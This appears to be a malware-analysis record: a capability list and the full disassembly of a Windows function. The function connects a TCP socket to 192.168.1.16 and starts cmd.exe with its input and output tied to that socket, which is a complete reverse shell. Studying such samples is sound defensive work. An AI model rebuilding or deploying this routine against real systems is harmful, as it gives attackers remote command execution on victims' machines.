Function at 0x401410
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
call sym.___main
mov dword [esp + 4], 0x4080a0
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401463
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.WSAStartup_failed_with_error:__d_n
call sym._printf
mov eax, 1
jmp 0x4016ad
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._WSASocketA_24
sub esp, 0x18
mov dword [0x408230], eax
mov eax, dword [0x408230]
cmp eax, 0xffffffff
jne 0x4014cd
call sym._WSAGetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.WSASocket_failed_with_error:__d_n
call sym._printf
call sym._WSACleanup_0
mov eax, 1
jmp 0x4016ad
mov word [0x408234], 2
mov eax, dword [0x405004]
movzx eax, ax
mov dword [esp], eax
call sym._htons_4
sub esp, 4
mov word [0x408236], ax
mov eax, dword [str.192.168.1.16]
mov dword [esp], eax
call sym._inet_addr_4
sub esp, 4
mov dword [0x408238], eax
mov eax, dword [0x408230]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x408234
mov dword [esp], eax
call sym._WSAConnect_28
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x401581
call sym._WSAGetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.WSAConnect_failed_with_error:__d_n
call sym._printf
mov eax, dword [0x408230]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
mov eax, 1
jmp 0x4016ad
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], 0x408260
call sym._memset
mov dword [0x408260], 0x44
mov dword [0x40828c], 0x100
mov eax, dword [0x408230]
mov dword [0x4082a0], eax
mov eax, dword [0x408230]
mov dword [0x408298], eax
mov eax, dword [0x408230]
mov dword [0x40829c], eax
mov dword [esp + 0x24], 0x408080
mov dword [esp + 0x20], 0x408260
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.cmd.exe
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
test eax, eax
jne 0x40165b
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.CreateProcess_failed_with_error:__d_n
call sym._printf
mov eax, dword [0x408230]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
mov eax, 1
jmp 0x4016ad
mov eax, dword [0x408080]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [0x408080]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [0x408084]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [0x408230]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret